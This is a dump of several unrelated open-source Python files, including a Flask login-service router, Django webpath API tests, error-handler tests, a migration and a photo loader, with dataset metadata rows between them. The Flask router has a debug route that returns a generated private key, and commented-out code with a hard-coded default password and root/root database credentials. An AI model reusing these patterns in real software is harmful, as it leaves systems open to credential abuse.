@staticmethod def set_header(header): Person._header = header # Gets the header of the properties of the Person class from gSheet. @staticmethod def get_header(): return Person._header
28.492063
95
0.655292
981
7,180
4.49949
0.153925
0.074309
0.054372
0.065247
0.404622
0.275714
0.239465
0.180109
0.16493
0.132759
0
0.004105
0.219638
7,180
251
96
28.605578
0.783687
0.05766
0
0.204301
0
0
0.045899
0.00385
0
0
0
0
0
1
0.268817
false
0
0.048387
0.188172
0.591398
0.005376
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
ec962e2cbc2450292c25fa640fb389ff7d862a49
6,291
py
Python
src/index.py
ghabxph/universal-login
91bf8fb2b597566539c76ed0ab7cf9114b74d9bd
[ "MIT" ]
null
null
null
src/index.py
ghabxph/universal-login
91bf8fb2b597566539c76ed0ab7cf9114b74d9bd
[ "MIT" ]
null
null
null
src/index.py
ghabxph/universal-login
91bf8fb2b597566539c76ed0ab7cf9114b74d9bd
[ "MIT" ]
null
null
null
from flask import Flask from flask import jsonify from flask import redirect from jwcrypto import jwt, jwk, jws from controllers.api.v1.login_controller import LoginController from controllers.assets_controller import AssetsController from controllers.init_controller import InitController from controllers.mongo_setup_controller import MongoSetupController from controllers.api.v1.admin_controller import AdminController from controllers.manage_controller import ManageController from lib.util import init_is_locked from lib.util import config import json # Essential Instances app = Flask(__name__) @app.route('/test') def test(): key = jwk.JWK.generate(kty='EC', crv='P-256') return jsonify({ 'with_private': json.loads(key.export()), 'without_private': json.loads(key.export(private_key=False)) }) @app.route('/assets') def assets(): return AssetsController.get() @app.route('/', methods=['GET']) def setup(): return MongoSetupController.get() # @status: To be deprecated @app.route('/', methods=['POST']) def set_environment_old(): return MongoSetupController.set_environment() @app.route('/setup/verify/mongodb', methods=['POST']) def setup_verify_mongodb(): return MongoSetupController.setup_verify_mongodb() @app.route('/setup/verify/mongodb_admin_user', methods=['POST']) def setup_verify_mongodbadminuser(): return MongoSetupController.setup_verify_mongodbadminuser() @app.route('/setup/verify/mongodb_admin_power', methods=['POST']) def setup_verify_mongodbadminpower(): return MongoSetupController.setup_verify_mongodbadminpower() @app.route('/setup/verify/third_party_auth', methods=['POST']) def setup_verify_tpauth(): return MongoSetupController.setup_verify_mongodb() @app.route('/setup/get_environment', methods=['GET']) def setup_get_environment(): return MongoSetupController.setup_get_environment() @app.route('/login', methods=['GET']) def render_login(): return LoginController.render_login() @app.route('/init', methods=['GET']) def init(): if (config('UL_LOCK_INIT')) is not None: return redirect('/manage') return InitController().index() @app.route('/manage') def manage(): return ManageController.manage() # All api/v1 routes -------------------------------------------------- @app.route('/api/v1/environment', methods=['POST']) def set_environment(): return MongoSetupController.set_environment_new() @app.route('/api/v1/login', methods=['POST']) def login(): return LoginController.post() @app.route('/api/v1/admin/token', methods=['POST']) def generate_new_token(): if (config('UL_LOCK_INIT')) is not None: return init_is_locked() return AdminController.generate_new_token() @app.route('/api/v1/admin/manage', methods=['POST']) def manage_other_instance(): if (config('UL_LOCK_INIT')) is not None: return init_is_locked() return AdminController.manage_other_instance() @app.route('/api/v1/admin/login', methods=['POST']) def admin_login(): return AdminController.admin_login() # -------------------------------------------------------------------- # # # @app.route('/test') # def test(): # alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' # username = 'ul_user_' + ''.joirandom.choice(alphabet) for i in range(5)) # password = ''.join(random.choice(alphabet) for i in range(16)) # client = mongo_client( # host='svc-nosql', # username='root', # password='root' # ) # client.ul_login_db.command("createUser", username, pwd=password, roles=["readWrite"]) # client.admin.command("createUser", username, pwd=password, roles=["readWrite"]) # return Response('{"username":%s, "password":%s}' % (username, password), mimetype='application/json'), 200 # # @app.route('/login-agent', methods=['POST']) # def login_agent(): # auto_create_default_agent() # query = {"name": request.values.get('name').lower()} # agent = db()['agents'].find_one(query) # # if agent and bcrypt.hashpw(request.values.get('password').encode('utf-8'), agent['password']) == agent['password']: # new_password = ''.join(random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789') for i in range(32)).encode('utf-8') # db()['agents'].update_one(query, {"$set": {"password": bcrypt.hashpw(new_password, bcrypt.gensalt())}}) # token = jwt.JWT(header={'alg': 'HS256'}, claims={ # 'usr': agent['name'], # 'iat': int(time.time()), # 'exp': int(time.time() + 900) # }) # token.make_signed_token(jwk.JWK.from_json(json.dumps(config()['auth']['jwk']))) # return Response(json.dumps({"msg": "Agent connected successfully.", "jws": token.serialize(), "new_password": new_password.decode('utf-8')}), mimetype='application/json'), 200 # return Response(json.dumps({"msg": "Invalid agent credentials"}), mimetype='application/json'), 403 # # # @app.route('/assets/agent.py', methods=['GET']) # def download_agent(): # with open('asset/agent.py', 'r') as agent_file: # return Response(agent_file.read(), mimetype='application/octet-stream'), 200 # # # @app.route('/verify', methods=['GET']) # def verify_token(): # try: # jwt.JWT(jwt=request.headers.get('Authorization')[7:], key=jwk.JWK.from_json(json.dumps(config()['auth']['jwk']))) # return Response('{"msg":"Token is valid"}', mimetype='application/json'), 200 # except jws.InvalidJWSSignature: # return Response('{"msg":"Token is invalid"}', mimetype='application/json'), 403 # # # @app.errorhandler(404) # def error_404(e): # return Response('{"msg": "Error 404. Resource not found."}', mimetype='application/json'), 404 # # # def auto_create_default_user(): # default_user = db()['users'].find_one({"username": "ghabxph"}) # if not default_user: # db()['users'].insert_one({"username": "ghabxph", "password": bcrypt.hashpw(b'stonkestpw', bcrypt.gensalt())}) # # # def auto_create_default_agent(): # default_agent = db()['agents'].find_one({"name": "first-agent"}) # if not default_agent: # db()['agents'].insert_one({"name": "first-agent", "password": bcrypt.hashpw(b'stonkestpw', bcrypt.gensalt())})
34.565934
185
0.674773
738
6,291
5.604336
0.252033
0.040619
0.037234
0.015716
0.280464
0.161025
0.137089
0.091634
0.064072
0.056093
0
0.013973
0.135432
6,291
182
186
34.565934
0.746461
0.508822
0
0.093333
0
0
0.128765
0.04568
0
0
0
0
0
1
0.226667
false
0
0.173333
0.173333
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
ecb4541d743da37a91822f00ac91a4ec99752d08
93
py
Python
applications/__init__.py
umarmughal824/bootcamp-ecommerce
681bcc788a66867b8f240790c0ed33680b73932b
[ "BSD-3-Clause" ]
2
2018-06-20T19:37:03.000Z
2021-01-06T09:51:40.000Z
applications/__init__.py
mitodl/bootcamp-ecommerce
ba7d6aefe56c6481ae2a5afc84cdd644538b6d50
[ "BSD-3-Clause" ]
1,226
2017-02-23T14:52:28.000Z
2022-03-29T13:19:54.000Z
applications/__init__.py
umarmughal824/bootcamp-ecommerce
681bcc788a66867b8f240790c0ed33680b73932b
[ "BSD-3-Clause" ]
3
2017-03-20T03:51:27.000Z
2021-03-19T15:54:31.000Z
"""Initialize applications app""" default_app_config = "applications.apps.ApplicationConfig"
31
58
0.817204
9
93
8.222222
0.777778
0
0
0
0
0
0
0
0
0
0
0
0.064516
93
2
59
46.5
0.850575
0.290323
0
0
0
0
0.583333
0.583333
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
ecb63c932267fe643cccf3d3a0eabbd034ab6718
20,321
py
Python
src/cms/api/tests/test_webpath.py
UniversitaDellaCalabria/uniCMS
b0af4e1a767867f0a9b3c135a5c84587e713cb71
[ "Apache-2.0" ]
6
2021-01-26T17:22:53.000Z
2022-02-15T10:09:03.000Z
src/cms/api/tests/test_webpath.py
UniversitaDellaCalabria/uniCMS
b0af4e1a767867f0a9b3c135a5c84587e713cb71
[ "Apache-2.0" ]
5
2020-12-24T14:29:23.000Z
2021-08-10T10:32:18.000Z
src/cms/api/tests/test_webpath.py
UniversitaDellaCalabria/uniCMS
b0af4e1a767867f0a9b3c135a5c84587e713cb71
[ "Apache-2.0" ]
2
2020-12-24T14:13:39.000Z
2020-12-30T16:48:52.000Z
import datetime import logging from django.contrib.contenttypes.models import ContentType from django.core.exceptions import ObjectDoesNotExist from django.test import Client, TestCase from django.urls import reverse from cms.contexts.models import (EditorialBoardLock, EditorialBoardLockUser, WebPath) from cms.contexts.tests import ContextUnitTest logger = logging.getLogger(__name__) logger.setLevel(logging.INFO) class WebpathAPIUnitTest(TestCase): def setUp(self): pass def test_list(self): req = Client() ebu = ContextUnitTest.create_editorialboard_user() url = reverse('unicms_api:editorial-board-site-webpaths', kwargs={'site_id': ebu.webpath.site.pk}) # accessible to staff users only res = req.get(url) assert res.status_code == 403 user = ebu.user user.is_staff = True user.save() req.force_login(user) # site is not managed # (user is not superuser and not EditorialPermissions) ebu.is_active = False ebu.save() res = req.get(url) assert res.status_code == 403 # site is managed again ebu.is_active = True ebu.save() res = req.get(url, {'is_active': True}) assert isinstance(res.json(), dict) res = req.get(url, {'not_existent_param': True}) assert isinstance(res.json(), dict) def test_get(self): req = Client() ebu = ContextUnitTest.create_editorialboard_user() webpath = ebu.webpath url = reverse('unicms_api:editorial-board-site-webpath', kwargs={'site_id': webpath.site.pk, 'pk': webpath.pk}) # accessible to staff users only res = req.get(url) assert res.status_code == 403 user = ebu.user user.is_staff = True user.save() req.force_login(user) # site is not managed # (user is not superuser and not EditorialPermissions) ebu.is_active = False ebu.save() res = req.get(url) assert res.status_code == 403 # site is managed again ebu.is_active = True ebu.save() res = req.get(url) assert isinstance(res.json(), dict) # form url = reverse('unicms_api:editorial-board-site-webpath-form', kwargs={'site_id': webpath.site.pk}) res = req.get(url) assert isinstance(res.json(), list) # GET LOGS url = reverse('unicms_api:editorial-board-site-webpath-logs', kwargs={'site_id': webpath.site.pk, 'pk': webpath.pk}) res = req.get(url, content_type='application/json',) assert isinstance(res.json(), dict) def test_patch(self): req = Client() ebu_parent = ContextUnitTest.create_editorialboard_user() ebu = ContextUnitTest.create_editorialboard_user(user=ebu_parent.user) ebu.webpath.parent = ebu_parent.webpath ebu.webpath.save() url = reverse('unicms_api:editorial-board-site-webpath', kwargs={'site_id': ebu.webpath.site.pk, 'pk': ebu.webpath.pk}) data = {'site': 12321321} # accessible to staff users only res = req.patch(url, data=data, content_type='application/json', follow=1) assert res.status_code == 403 user = ebu.user user.is_staff = True user.save() req.force_login(user) res = req.patch(url, data=data, content_type='application/json', follow=1) # invalid site assert res.status_code == 400 # invalid parent data = {'parent': 123123123} res = req.patch(url, data=data, content_type='application/json', follow=1) assert res.status_code == 400 # valid data but... data = {'name': 'patched name', 'parent': ebu.webpath.parent.pk, 'is_active': 0} res = req.patch(url, data=data, content_type='application/json', follow=1) # ...no publisher permissions on parent assert res.status_code == 403 # if publisher permissions on actual parent # (user can edit webpath!) ebu_parent.permission = 7 ebu_parent.save() # change parent new_parent = ContextUnitTest.create_webpath(site=ebu.webpath.site) child_json = {'site': new_parent.site.pk, 'parent': new_parent.pk, 'name': 'child name', 'path': 'test', 'is_active': 1} res = req.patch(url, data=child_json, content_type='application/json', follow=1) assert res.status_code == 403 res = req.patch(url, data=data, content_type='application/json', follow=1) ebu.webpath.refresh_from_db() assert ebu.webpath.name == 'patched name' assert not ebu.webpath.is_active # valid parent data = {'parent': ebu_parent.webpath.pk} res = req.patch(url, data=data, content_type='application/json', follow=1) assert res.status_code == 200 def test_put(self): req = Client() site = ContextUnitTest.create_website() root_webpath = ContextUnitTest.create_webpath(site=site) ebu_parent = ContextUnitTest.create_editorialboard_user() ebu_root = ContextUnitTest.create_editorialboard_user(user=ebu_parent.user, webpath=root_webpath, permission=7) parent = ebu_parent.webpath parent.site = site parent.parent = root_webpath parent.save() parent_url = reverse('unicms_api:editorial-board-site-webpath', kwargs={'site_id': parent.site.pk, 'pk': parent.pk}) parent_json = {'site': site.pk, 'parent': root_webpath.pk, 'name': 'edited name', 'path': 'test', 'is_active': 1} # accessible to staff users only res = req.put(parent_url, data=parent_json, content_type='application/json', follow=1) assert res.status_code == 403 user = ebu_parent.user user.is_staff = True user.save() req.force_login(user) # if not publisher permissions assert res.status_code == 403 # if publisher permissions ebu_parent.permission = 7 ebu_parent.save() res = req.put(parent_url, data=parent_json, content_type='application/json', follow=1) parent.refresh_from_db() assert parent.name == 'edited name' # no site parent_json['site'] = None res = req.put(parent_url, data=parent_json, content_type='application/json', follow=1) # assert res.status_code == 403 assert res.status_code == 400 parent_json['site'] = site.pk # no parent parent_json['parent'] = None res = req.put(parent_url, data=parent_json, content_type='application/json', follow=1) # assert res.status_code == 404 assert res.status_code == 400 # wrong parent parent_2 = ContextUnitTest.create_webpath(site=None) parent_json['parent'] = parent_2.pk res = req.put(parent_url, data=parent_json, content_type='application/json', follow=1) # assert res.status_code == 404 assert res.status_code == 400 parent_json['parent'] = root_webpath.pk # edit child parent ebu_child = ContextUnitTest.create_editorialboard_user(user=user, webpath=ContextUnitTest.create_webpath(path=datetime.datetime.now().strftime("%f")), permission=3, is_active=True) child = ebu_child.webpath child.parent = ebu_parent.webpath child.save() child_url = reverse('unicms_api:editorial-board-site-webpath', kwargs={'site_id': site.pk, 'pk': child.pk}) # change parent new_parent = ContextUnitTest.create_webpath(site=site, path=datetime.datetime.now().strftime("%f")) child_json = {'site': site.pk, 'parent': new_parent.pk, 'name': 'child name', 'path': 'test', 'is_active': 1} res = req.put(child_url, data=child_json, content_type='application/json', follow=1) assert res.status_code == 403 # wrong parent child_json = {'site': site.pk, 'parent': 100023123123123, 'name': 'child name', 'path': 'test', 'is_active': 1} res = req.put(child_url, data=child_json, content_type='application/json', follow=1) assert res.status_code == 400 # wrong permissions on parent ebu_parent.permission = 3 ebu_parent.save() child_json = {'site': site.pk, 'parent': parent.pk, 'name': 'child name', 'path': 'test', 'is_active': 1} res = req.put(child_url, data=child_json, content_type='application/json', follow=1) assert res.status_code == 403 # wrong alias child_json = {'site': site.pk, 'parent': parent.pk, 'name': 'child name', 'alias': 12312321, 'path': 'test', 'is_active': 1} res = req.put(child_url, data=child_json, content_type='application/json', follow=1) assert res.status_code == 400 # correct data and permissions on parent ebu_parent.permission = 7 ebu_parent.save() # correct alias child_json = {'site': site.pk, 'parent': parent.pk, 'name': 'child name', 'alias': parent.pk, 'path': 'test', 'is_active': 1} res = req.put(child_url, data=child_json, content_type='application/json', follow=1) child.refresh_from_db() assert child.alias == parent child_json = {'site': site.pk, 'parent': parent.pk, 'name': 'child name', 'alias': None, 'path': 'test', 'is_active': 1} res = req.put(child_url, data=child_json, content_type='application/json', follow=1) child.refresh_from_db() assert isinstance(res.json(), dict) child_json = {'site': site.pk, 'parent': parent.pk, 'name': 'child name', 'alias': parent.pk, 'alias_url': 'https://www.unical.it', 'path': 'test', 'is_active': 1} res = req.put(child_url, data=child_json, content_type='application/json', follow=1) child.refresh_from_db() assert child.alias_url == 'https://www.unical.it' child_json = {'site': site.pk, 'parent': parent.pk, 'name': 'child name', 'alias': parent.pk, 'alias_url': 'https://www.unical.it', 'path': 'test', 'is_active': 0} res = req.put(child_url, data=child_json, content_type='application/json', follow=1) child.refresh_from_db() assert child.is_active == False def test_delete(self): req = Client() ebu = ContextUnitTest.create_editorialboard_user() webpath = ebu.webpath ebu_parent = ContextUnitTest.create_editorialboard_user(user=ebu.user) webpath.parent = ebu_parent.webpath webpath.save() url = reverse('unicms_api:editorial-board-site-webpath', kwargs={'site_id': webpath.site.pk, 'pk': webpath.pk}) # accessible to staff users only res = req.delete(url) assert res.status_code == 403 user = ebu.user user.is_staff = True user.save() req.force_login(user) # wrong permissions on parent res = req.delete(url) assert res.status_code == 403 # publisher permission on parent webpath ebu_parent.permission = 7 ebu_parent.save() res = req.delete(url) try: webpath.refresh_from_db() except ObjectDoesNotExist: assert True def test_post(self): req = Client() ebu_parent = ContextUnitTest.create_editorialboard_user() parent = ebu_parent.webpath # data with wrong parent data = {'site': parent.site.pk, 'parent': 123123123213, 'name': 'test webpath', 'path': 'test', 'is_active': 1} url = reverse('unicms_api:editorial-board-site-webpaths', kwargs={'site_id': parent.site.pk}) # accessible to staff users only res = req.post(url, data=data, content_type='application/json', follow=1) assert res.status_code == 403 user = ebu_parent.user user.is_staff = True user.save() req.force_login(user) # set EditorialBoard lock for this user on parent webpath_ct = ContentType.objects.get_for_model(parent) lock = EditorialBoardLock.objects.create(content_type=webpath_ct, object_id=parent.pk) user_lock = EditorialBoardLockUser.objects.create(lock=lock, user=user) # no site data['parent'] = parent.pk data['site'] = None res = req.post(url, data=data, content_type='application/json', follow=1) # assert res.status_code == 403 assert res.status_code == 400 data['site'] = parent.site.pk # no parent (not required in model) data['parent'] = None res = req.post(url, data=data, content_type='application/json', follow=1) # assert res.status_code == 404 assert res.status_code == 400 # wrong parent data['parent'] = 123123123213 res = req.post(url, data=data, content_type='application/json', follow=1) assert res.status_code == 400 # correct parent but invalid permissions data['parent'] = parent.pk res = req.post(url, data=data, content_type='application/json', follow=1) assert res.status_code == 403 # update permissions on parent webpath ebu_parent.permission = 6 ebu_parent.save() # invalid alias data['alias'] = 1231231 res = req.post(url, data=data, content_type='application/json', follow=1) assert res.status_code == 400 # valid alias data['alias'] = parent.pk res = req.post(url, data=data, content_type='application/json', follow=1) assert WebPath.objects.filter(name='test webpath').first() def test_get_options(self): req = Client() ebu = ContextUnitTest.create_editorialboard_user() webpath = ebu.webpath url = reverse('unicms_api:webpath-options', kwargs={'site_id': webpath.site.pk}) # accessible to staff users only res = req.get(url) assert res.status_code == 403 user = ebu.user user.is_staff = True user.save() req.force_login(user) # site is not managed # (user is not superuser and not EditorialPermissions) ebu.is_active = False ebu.save() res = req.get(url) assert res.status_code == 403 # site is managed again ebu.is_active = True ebu.save() res = req.get(url) assert isinstance(res.json(), dict) url = reverse('unicms_api:webpath-all-options') res = req.get(url) assert isinstance(res.json(), dict) def test_get_option(self): req = Client() ebu = ContextUnitTest.create_editorialboard_user() webpath = ebu.webpath url = reverse('unicms_api:webpath-option', kwargs={'site_id': webpath.site.pk, 'pk': webpath.pk}) # accessible to staff users only res = req.get(url) assert res.status_code == 403 user = ebu.user user.is_staff = True user.save() req.force_login(user) # site is not managed # (user is not superuser and not EditorialPermissions) ebu.is_active = False ebu.save() res = req.get(url) assert res.status_code == 403 # site is managed again ebu.is_active = True ebu.save() res = req.get(url) assert isinstance(res.json(), dict) def test_clone(self): req = Client() ebu = ContextUnitTest.create_editorialboard_user() webpath = ebu.webpath url = reverse('unicms_api:editorial-board-site-webpath-clone', kwargs={'site_id': webpath.site.pk, 'pk': webpath.pk}) parent = ContextUnitTest.create_webpath(site=webpath.site, path='parent') data = {'exclude_pages': 1, 'exclude_news': 1} # accessible to staff users only res = req.post(url, data=data, content_type='application/json', follow=1) assert res.status_code == 403 user = ebu.user user.is_staff = True user.is_superuser = True user.save() req.force_login(user) res = req.post(url, data=data, content_type='application/json', follow=1) # no parent in data assert res.status_code == 404 data['parent'] = parent.pk res = req.post(url, data=data, content_type='application/json', follow=1) assert res.status_code == 200 # form url = reverse('unicms_api:editorial-board-site-webpath-clone-form', kwargs={'site_id': webpath.site.pk, 'pk': webpath.pk}) res = req.get(url) assert isinstance(res.json(), list)
35.966372
147
0.510605
2,098
20,321
4.802193
0.077693
0.029777
0.058065
0.073548
0.77737
0.739851
0.706104
0.680893
0.62928
0.588189
0
0.019521
0.389941
20,321
564
148
36.030142
0.793176
0.075833
0
0.725624
0
0
0.102682
0.028796
0
0
0
0
0.117914
1
0.022676
false
0.002268
0.018141
0
0.043084
0
0
0
0
null
0
0
0
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
ecd116e4a7337a15656371e40109cf657949eb41
2,814
py
Python
tests/test_error_handlers.py
iterait/apistrap
e83460fa97f13a95a928971b0d2defe0ac611911
[ "MIT" ]
6
2018-09-06T18:32:48.000Z
2021-05-28T01:03:32.000Z
tests/test_error_handlers.py
iterait/apistrap
e83460fa97f13a95a928971b0d2defe0ac611911
[ "MIT" ]
53
2018-09-06T16:16:53.000Z
2021-05-19T14:36:58.000Z
tests/test_error_handlers.py
iterait/apistrap
e83460fa97f13a95a928971b0d2defe0ac611911
[ "MIT" ]
null
null
null
import pytest from apistrap.errors import ApiClientError, ApiServerError from apistrap.flask import FlaskApistrap @pytest.fixture() def app_with_errors(app, flask_apistrap): @app.route("/client_error") def view_1(): raise ApiClientError() @app.route("/server_error") def view_2(): raise ApiServerError() @app.route("/internal_error") def view_3(): raise RuntimeError("Runtime error occurred") def test_http_error_handler(app_with_errors, client): response = client.get("/nonexistent_url") assert response.status_code == 404 assert 'debug_data' not in response.json def test_http_error_handler_in_production(app_with_errors, client, app_in_production): response = client.get("/nonexistent_url") assert response.status_code == 404 assert 'debug_data' not in response.json def test_client_error_handler(app_with_errors, client): response = client.get("/client_error") assert response.status_code == 400 assert 'debug_data' in response.json assert response.json['debug_data']['exception_type'] == 'ApiClientError' def test_client_error_handler_in_production(app_with_errors, client, app_in_production): response = client.get("/client_error") assert response.status_code == 400 assert 'debug_data' not in response.json def test_server_error_handler(app_with_errors, client): response = client.get("/server_error") assert response.status_code == 500 assert 'debug_data' in response.json assert response.json['debug_data']['exception_type'] == 'ApiServerError' def test_server_error_handler_in_production(app_with_errors, client, app_in_production): response = client.get("/server_error") assert response.status_code == 500 assert 'debug_data' not in response.json def test_internal_server_error_handler(app_with_errors, client): response = client.get("/internal_error") assert response.status_code == 500 assert response.json["message"] == "Runtime error occurred" assert 'debug_data' in response.json assert response.json['debug_data']['exception_type'] == 'RuntimeError' def test_internal_server_error_handler_in_production(app_with_errors, client, app_in_production): response = client.get("/internal_error") assert response.status_code == 500 assert response.json["message"] == "Internal server error" @pytest.fixture() def app_with_errors_and_no_error_handlers(app): oapi = FlaskApistrap() oapi.use_default_error_handlers = False oapi.init_app(app) @app.route("/internal_error") def view(): raise RuntimeError("Runtime error occurred") def test_disabled_default_error_handlers(app_with_errors_and_no_error_handlers, client): with pytest.raises(RuntimeError): client.get("/internal_error")
31.977273
97
0.748756
366
2,814
5.434426
0.15847
0.091503
0.071895
0.07642
0.779789
0.762695
0.700352
0.624937
0.624937
0.569633
0
0.011283
0.149609
2,814
87
98
32.344828
0.819891
0
0
0.47541
0
0
0.166311
0
0
0
0
0
0.327869
1
0.245902
false
0
0.04918
0
0.295082
0
0
0
0
null
0
0
0
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
ecd51e25c275e71d69085bbe09c75481eb39cf57
122
py
Python
heroes/heroes/apps.py
devrishik/Heroes
ad9378833c55ffd623ec7802bf681d40b16adedd
[ "MIT" ]
null
null
null
heroes/heroes/apps.py
devrishik/Heroes
ad9378833c55ffd623ec7802bf681d40b16adedd
[ "MIT" ]
null
null
null
heroes/heroes/apps.py
devrishik/Heroes
ad9378833c55ffd623ec7802bf681d40b16adedd
[ "MIT" ]
null
null
null
from django.apps import AppConfig class HeroesConfig(AppConfig): name = 'heroes.heroes' verbose_name = "Heroes"
17.428571
33
0.729508
14
122
6.285714
0.714286
0.227273
0
0
0
0
0
0
0
0
0
0
0.180328
122
6
34
20.333333
0.88
0
0
0
0
0
0.155738
0
0
0
0
0
0
1
0
false
0
0.25
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
01a158fe9b8f66329f4bcee2cbfb0502fb9db640
696
py
Python
src/requestlog/migrations/0005_auto_20211003_1245.py
tamkovich/requestlog
788f09581a2c0c8b590220e1ba33d87a304d28e3
[ "MIT" ]
3
2021-11-19T11:36:16.000Z
2021-12-29T13:40:54.000Z
src/requestlog/migrations/0005_auto_20211003_1245.py
tamkovich/requestlog
788f09581a2c0c8b590220e1ba33d87a304d28e3
[ "MIT" ]
3
2021-09-26T18:51:34.000Z
2022-03-10T11:17:43.000Z
src/requestlog/migrations/0005_auto_20211003_1245.py
tamkovich/requestlog
788f09581a2c0c8b590220e1ba33d87a304d28e3
[ "MIT" ]
2
2022-02-12T04:21:25.000Z
2022-03-25T11:35:20.000Z
# Generated by Django 3.2.7 on 2021-10-03 17:45 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('requestlog', '0004_auto_20210625_1551'), ] operations = [ migrations.AlterField( model_name='requestlog', name='cookies', field=models.JSONField(null=True), ), migrations.AlterField( model_name='requestlog', name='headers', field=models.JSONField(null=True), ), migrations.AlterField( model_name='requestlog', name='query', field=models.JSONField(null=True), ), ]
24
50
0.561782
65
696
5.923077
0.553846
0.155844
0.194805
0.225974
0.553247
0.480519
0.368831
0.368831
0.368831
0.368831
0
0.065817
0.323276
696
28
51
24.857143
0.751592
0.064655
0
0.545455
1
0
0.126348
0.035439
0
0
0
0
0
1
0
false
0
0.045455
0
0.181818
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
01a86ee8d56260dc194b60ac46f057e579a4905a
4,968
py
Python
core/loader.py
AnthonyFu117/astphotos
28d6160a30ef25a52655f184337019e20cfd2958
[ "MIT" ]
2
2016-08-29T14:57:41.000Z
2022-03-24T18:41:19.000Z
core/loader.py
AnthonyFu117/astphotos
28d6160a30ef25a52655f184337019e20cfd2958
[ "MIT" ]
null
null
null
core/loader.py
AnthonyFu117/astphotos
28d6160a30ef25a52655f184337019e20cfd2958
[ "MIT" ]
1
2021-05-04T14:09:17.000Z
2021-05-04T14:09:17.000Z
from os import listdir from os.path import join, basename, getmtime, getctime, exists, isdir from random import sample from utils.parser import infodict, marked, md5, md5_text from utils.color import rgb_to_hex from utils.file import change_ext from core.image import photo_info, get_exif from config import configs as cfg from random import choice from PIL import Image from core.image import color_average Photo_Sort_Methods = { 'filename': lambda photos: sorted(photos,key=lambda x: (x._src_path or '')), 'title' : lambda photos: sorted(photos,key=lambda x: (x.title or '')), 'time' : lambda photos: sorted(photos,key=lambda x: (x.datetime or '')), 'shuffle' : lambda photos: sample(photos, len(photos)), 'custom' : lambda photos: sorted(photos,key=lambda x: (x.index or -1)) } Photo_Title_Split_Placeholders = [ 'title', 'des', 'photographer', 'location' ] def load(dir_path, use_cache=True): cached = None if use_cache: cached = infodict() cached.update_json(join(dir_path,'_cache.json')) root = infodict() root.update_json(join(dir_path,'_site.json')) root.about = marked(join(dir_path,'about.md')) root._src_path = dir_path root.albums = [] for album_name in listdir(dir_path): album_path = join(dir_path,album_name) if not isdir(album_path): continue album_cache = None if cached: for a in cached.albums: a = infodict(a) if a._src_path == album_path: album_cache = a break root.albums.append(load_album(album_path,album_cache)) return root def load_album(album_path, cached=None): album = infodict() album.name = basename(album_path) # album.photographer = cfg.default_photographer album.gallery_mode = cfg.gallery_mode album.md5 = md5_text(getctime(album_path)) album._cover = cfg.default_cover_filename+'.'+cfg.src_file_type album._src_folder_name = basename(album_path) album._src_path = album_path album._display_info = cfg.display_info album._orderby = cfg.photo_orderby album._order_desc = cfg.photo_order_descending album.update_json(join(album_path,'_album.json')) album.photos = [] for photo_name in listdir(album_path): photo_path = join(album_path,photo_name) if isdir(photo_path) or not photo_name.lower().endswith(cfg.src_file_type): continue photo_cache = None if cached: for c in cached.photos: c = infodict(c) if c._src_path == photo_path: photo_cache = c break album.photos.append(load_photo(photo_path,photo_cache)) if album._orderby: if album._orderby in Photo_Sort_Methods.keys(): album.photos = Photo_Sort_Methods[album._orderby](album.photos) # Descending if album._order_desc: album.photos = album.photos[::-1] album.amount = len(album.photos) return album def load_photo(photo_path, cached=None): filename = basename(photo_path) photo = infodict() photo._src_path = photo_path photo._modify_time = getmtime(photo._src_path) meta_path = change_ext(photo_path,'json') if exists(meta_path): photo._meta_path = meta_path photo._meta_modify_time = getmtime(photo._meta_path) if cached and cached._modify_time == photo._modify_time \ and cached._meta_modify_time == photo._meta_modify_time: return cached photo.md5 = md5(photo_path) photo._ext = filename.split('.')[-1] photo_instance = Image.open(photo_path) # Update basic photo infos photo.update(photo_info(photo_instance)) # Calc average color photo.color = rgb_to_hex(color_average(photo_instance, cfg.calc_image_samples)) # Update info from the same-name json file if it exists photo.update_json(meta_path) # Update info from the image's EXIF tags if cfg.extract_exif: photo.update(get_exif(photo_path)) # photo.path = photo_href_path # Use filename as title, But not the filename startswith '_' if not photo.title and not filename.startswith(cfg.filename_title_ignore_start): photo.title = filename.split('.')[:-1] # If title contains '$', separate into # title & des & photographer & location if photo.title and cfg.photo_title_spliter in photo.title: temp = photo.title.split(cfg.photo_title_spliter) for i in range(len(temp)): photo[Photo_Title_Split_Placeholders[i]] = temp[i] # Get index from title if photo.title and cfg.photo_title_index_spliter in photo.title: temp = photo.title.split(cfg.photo_title_index_spliter) if photo.index is None: photo.index = float(temp[0]) photo.title = temp[1] return photo
4,968
4,968
0.662641
673
4,968
4.643388
0.199108
0.048
0.03136
0.03072
0.17056
0.09536
0.09536
0.07744
0.03264
0.03264
0
0.003185
0.241546
4,968
1
4,968
4,968
0.826168
0.075886
0
0.054054
0
0
0.022931
0
0
0
0
0
0
1
0.027027
false
0
0.099099
0
0.162162
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
01c36ae8861f29fd71bef4d6dad0c02ccf41d160
676
py
Python
src/hyenas/metadata.py
LordBertson/hyena
c20b8a5c7c784a333b6c9468c7f18b0715f1095d
[ "MIT" ]
null
null
null
